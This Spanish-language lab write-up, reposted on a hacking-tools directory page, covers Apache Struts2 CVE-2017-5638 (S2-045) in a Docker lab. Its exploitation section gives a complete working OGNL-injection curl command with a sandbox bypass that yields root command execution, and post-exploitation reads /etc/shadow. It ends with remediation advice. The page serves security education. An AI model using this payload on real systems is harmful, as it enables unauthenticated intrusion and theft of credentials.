Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2017-5638 | Kitploit
Herramientas/GitHubGitHub/dungsocool/cve-2017-5638
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubdungsocool/cve-2017-5638

CVE-2017-5638

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

LAB 1 — Inyección OGNL en Apache Struts2 (CVE-2017-5638 / S2-045)

I. ANÁLISIS DEL SISTEMA

Análisis de la superficie de ataque

image.png

Después de iniciar el contenedor, los registros de Struts2 muestran que la aplicación carga archivos de configuración conocidos como struts-default.xml, struts-plugin.xml y struts.xml. Esto confirma que el framework en uso es Apache Struts2.

image.png

Un punto notable se encuentra en la línea:

Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)

Esta línea indica que Struts2 está eligiendo el parser multipart de Jakarta (analizador de datos de subida multipart) para manejar solicitudes de tipo multipart/form-data, que se encuentran comúnmente en la funcionalidad de subida de archivos.

Esta es una señal crucial al analizar S2-045 / CVE-2017-5638, ya que esta vulnerabilidad está relacionada con el proceso en el que Struts2 maneja errores al analizar solicitudes multipart, especialmente con una cabecera Content-Type no válida.

Sin embargo, este registro solo demuestra que la aplicación usa Struts2 y un manejador multipart de estilo Jakarta. Aún no es suficiente para concluir que la aplicación es definitivamente vulnerable. Para confirmarlo, necesitamos determinar la versión de struts2-core y compararla con el rango de versiones afectadas.

image.png

image.png

image.png

Al acceder al servicio web con curl, las cabeceras de respuesta muestran que la aplicación se ejecuta en Jetty 9.2.11.v20150529. Esta información ayuda a identificar el entorno que ejecuta la aplicación (contenedor de servlets), pero no revela directamente la versión de Struts2.

La interfaz web devuelve la página Struts2 Showcase - Fileupload sample, con un formulario de subida que usa:

method="POST" enctype="multipart/form-data" action="/upload.action"

Esto coincide con el registro anterior donde Struts2 eligió jakarta para MultiPartRequest: la aplicación efectivamente tiene un flujo de manejo de subida de archivos mediante multipart/form-data.

⇒ Pensamiento: El endpoint /upload.action usa multipart/form-data, lo que coincide con el mecanismo que Struts2 procesa a través de Jakarta MultiPartRequest. Esto es una señal que refuerza la sospecha de S2-045/CVE-2017-5638, pero necesitamos determinar la versión de Struts2 antes de concluir que la aplicación es vulnerable. A continuación, aún se necesita una verificación más profunda sobre la versión de struts2-core y cómo maneja la aplicación los errores al recibir un Content-Type no válido.

Determinación de la versión de Struts2

Después de identificar que la aplicación tiene un endpoint de subida que usa multipart/form-data, el siguiente paso del análisis es encontrar la versión real de Struts2. Esto es crucial porque las señales anteriores solo mostraban que la aplicación tiene un mecanismo relacionado con la subida multipart, lo cual aún no es suficiente para concluir que es vulnerable.

image.png

Después de identificar el contenedor correcto que sirve el endpoint 8001, la comprobación de las librerías se realiza directamente dentro del contenedor project1-lab01-1.

El resultado encontró el archivo struts2-core:

/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar

A partir de esta ruta, podemos determinar que la aplicación usa Apache Struts2 2.3.30.

image.png

Comparando esto con la vulnerabilidad publicada CVE-2017-5638 / S2-045, esta afecta a muchas versiones antiguas de Struts2, incluyendo la rama 2.3.x anterior al parche. Al combinarlo con:

Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data

La cadena de condiciones del análisis se vuelve más clara:

`Struts2 Version 2.3.30 < Version 2.3.32

  • Jakarta multipart parser + upload endpoint → The application is within the strong suspicion range of S2-045/CVE-2017-5638`

Sin embargo, desde una perspectiva de análisis, una versión vulnerable solo es evidencia de la posibilidad de verse afectada. Para confirmarlo a nivel de comportamiento, necesitamos enviar una solicitud multipart anómala y observar la respuesta/registros para ver si entra en la rama de manejo de errores del parser multipart de Struts2.

⇒ Pensamiento: En este punto, ya no se trata solo de identificar el framework; la versión 2.3.30 confirma que la aplicación se encuentra dentro del rango de versiones afectadas por S2-045/CVE-2017-5638. El paso restante es verificar el comportamiento del manejo de errores multipart para completar la cadena de evidencia.

Verificación del flujo válido de procesamiento multipart

image.png

Necesitamos comprobar si las solicitudes enviadas a /upload.action realmente pasan por el mecanismo de procesamiento multipart de Struts2. Aquí, uso el comando curl con la opción -F para probar el mecanismo de manejo. Y el resultado devuelto se desglosa en partes:

`

  • ContentType: text/plain
  • FileName: test.txt
  • File: /usr/src/target/tmp/upload_...
  • Caption:test
  • `

    ⇒ Una solicitud válida demuestra que /upload.action efectivamente pasa por el mecanismo de subida multipart porque curl -F genera multipart/form-data y el servidor puede analizar cada parte de la solicitud.

    Verificación de la reacción cuando falla la solicitud multipart

    image.png

    image.png

    Después de enviar una solicitud declarando Content-Type como multipart/form-data pero con un cuerpo que no se ajusta a la estructura multipart, el servidor aún devuelve HTTP 200 OK. Sin embargo, los campos ContentType, FileName, File y Caption están vacíos. Al revisar los registros de Docker, notamos que no hay boundary (cadena separadora entre las partes del multipart), y el cliente aún recibe HTTP 200 OK. No obstante, Struts2 en realidad encountered an error al procesar la solicitud.

    Esto demuestra la cadena de evidencia:

    Faulty multipart request → Struts2 wraps request → MultiPartRequestWrapper is called → JakartaMultiPartRequest parses request → FileUploadException due to missing boundary

    ⇒ Coincide con los componentes relacionados con S2-045/CVE-2017-5638. Por lo tanto, la cadena de condiciones es más completa: versión vulnerable, parser Jakarta, endpoint de subida y la solicitud defectuosa entra en la rama correcta de procesamiento multipart.

    El punto crítico de S2-045/CVE-2017-5638 no solo reside en que el multipart parser falle. El error del parser es solo la condición de activación inicial. La parte peligrosa reside en cómo Struts2 maneja posteriormente el mensaje de error. En las versiones afectadas de Struts2, cuando el multipart parser encuentra un error, el contenido del error puede introducirse en el mecanismo de manejo de mensajes de Struts2. Si un atacante controla parte de los datos que aparecen en el error, especialmente de la cabecera Content-Type, esos datos pueden ser evaluados por Struts2 mediante OGNL (Object-Graph Navigation Language - el lenguaje de expresiones de Struts/XWork).

    Pensamiento:

    Anomalous Content-Type → Jakarta multipart parser parsing error → Struts2 generates/logs error message → error message goes through expression evaluation mechanism → if malicious OGNL is present, it can lead to RCE


    II. EXPLOTACIÓN

    Al identificar que el objetivo usa Struts2, y dado que Struts2 usa OGNL como su motor de expresiones, buscar en PayloadsAllTheThings muestra que inyectar new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) en Struts2 fallará porque Struts2 tiene un sandbox que bloquea el acceso a java.lang.Runtime.

    image.png

    ⇒ Ensambla el payload encontrado en la estructura de explotación de Struts2:

    Activar el parser de Jakarta

    root@kitploit:~
    (#_="multipart/form-data")
    

    Evadir el sandbox de Struts2 (Requerido)

    root@kitploit:~
    (#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
    

    Payload de ejecución de comandos

    root@kitploit:~
    (new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
    

    Sin embargo, al ejecutar el payload en la práctica, nos encontramos con dos problemas:

    1. Error de versión de Java: El servidor del laboratorio ejecuta Jetty 2015 (Java 8), mientras que la función readAllBytes() solo es compatible a partir de Java 9. Si insistimos en usarla, OGNL fallará silenciosamente y devolverá una página HTML en blanco. Esto se resuelve cambiando al uso de la clase IOUtils de la librería org.apache.commons.io (siempre disponible en Struts2) para leer el flujo.
    2. Filtrado de salida: Aunque el comando se haya ejecutado, incrustar el resultado directamente en el flujo HTML puede romper la estructura o ser filtrado. Esto se resuelve accediendo directamente al HttpServletResponse, usando getWriter().println() para imprimir la salida primero, y luego llamando a flush() y close() para terminar la conexión inmediatamente. Esto obliga al servidor a devolver el resultado limpio de la ejecución del comando, evitando toda la interfaz HTML basura.

    ⇒ Reensamblando las modificaciones anteriores, obtenemos el comando curl completo (usando ProcessBuilder + IOUtils + Response Writer):

    root@kitploit:~
    curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
    -H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
    -d "foo=bar"
    

    image.png

    ¡¡¡Explotación exitosa!!!

    Aunque logramos RCE con privilegios de root, cada comando debe enviarse mediante una solicitud HTTP separada, lo que proporciona un entorno no interactivo. Una Reverse Shell permite establecer una sesión persistente, interactuando directamente con el sistema objetivo como si estuvieras sentado frente a la máquina, sirviendo para la recopilación de información y una post-explotación más profunda.


    III. POST-EXPLOTACIÓN

    Verificación de privilegios

    Después de una explotación exitosa, verifica los privilegios en el sistema:

    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    

    → La aplicación se ejecuta con privilegios root — no se necesita escalada de privilegios.

    Recopilación de datos sensibles

    Lee el archivo /etc/shadow (el archivo que contiene los hash de contraseñas, al que solo root tiene permiso de acceso):

    image.png

    → Demuestra que el atacante tiene acceso completo de lectura/escritura a los archivos del sistema, incluidos los más sensibles.

    Nota sobre la Reverse Shell

    El establecimiento de la reverse shell no tuvo éxito porque el contenedor Docker en Windows usa una red interna (bridge/NAT); el contenedor no puede conectarse de vuelta a la máquina del atacante (Kali) en la LAN local. Sin embargo, esto no afecta la gravedad de la vulnerabilidad: el atacante logró RCE con privilegios de root y puede ejecutar cualquier comando en el sistema.


    IV. EVALUACIÓN DE RIESGOS Y REMEDIACIÓN

    Evaluación de riesgos

    La vulnerabilidad de inyección OGNL (CVE-2017-5638 / S2-045) en este sistema se evalúa en el nivel de riesgo más alto:

    Recomendaciones de remediación

    Para remediar completamente esta vulnerabilidad, los equipos de administración de sistemas y desarrollo deben implementar las siguientes medidas (ordenadas por prioridad):

    Prioridades urgentes (a corto plazo):

    1. Actualizar Apache Struts2: Actualice inmediatamente el framework a una versión segura (≥ 2.3.32 o ≥ 2.5.10.1). Esta es una medida obligatoria ya que la vulnerabilidad reside en la implementación central de la librería JakartaMultiPartRequest.
    2. Reducir los privilegios de ejecución: Nunca ejecute aplicaciones web (Jetty/Tomcat) bajo el usuario root. Se debe crear un usuario dedicado (por ejemplo, struts_user) con los privilegios mínimos necesarios para ejecutar la aplicación.

    Prioridades altas (a largo plazo y defensa en profundidad):

    1. Implementar un WAF (Web Application Firewall): Configure reglas del WAF para detectar y bloquear solicitudes HTTP que contengan payloads OGNL (por ejemplo, %{...}, ${...}, ognl, java.lang.ProcessBuilder) en la cabecera Content-Type.
    2. Cambiar el parser multipart: Si la aplicación no está obligada a usar el Jakarta Parser, considere cambiar a una librería alternativa como Pell o COS en el archivo de configuración struts.xml (struts.multipart.parser=cos).
    3. Restringir la red del contenedor: No mantenga el contenedor en una red bridge compartida a menos que sea necesario. Configure reglas de firewall para bloquear que el contenedor inicie activamente conexiones salientes (tráfico de salida) hacia Internet para prevenir reverse shells.
    Descargar herramienta
    CriterioEvaluaciónDetalles
    Puntuación CVSS10.0 (Crítico)Puntuación máxima absoluta.
    AutenticaciónNo requeridaEl atacante no necesita una cuenta ni haber iniciado sesión para explotar esto.
    ComplejidadMuy bajaSolo requiere enviar una única solicitud HTTP (POST) que contenga el payload en la cabecera Content-Type.
    Privilegios obtenidosrootControl total sobre la aplicación/contenedor en el nivel de privilegio más alto, con la capacidad de leer/escribir cualquier archivo (como /etc/shadow).
    Movimiento lateralAltoDesde el contenedor comprometido, el atacante puede escanear la red interna (LAN) y atacar otros contenedores o servidores host.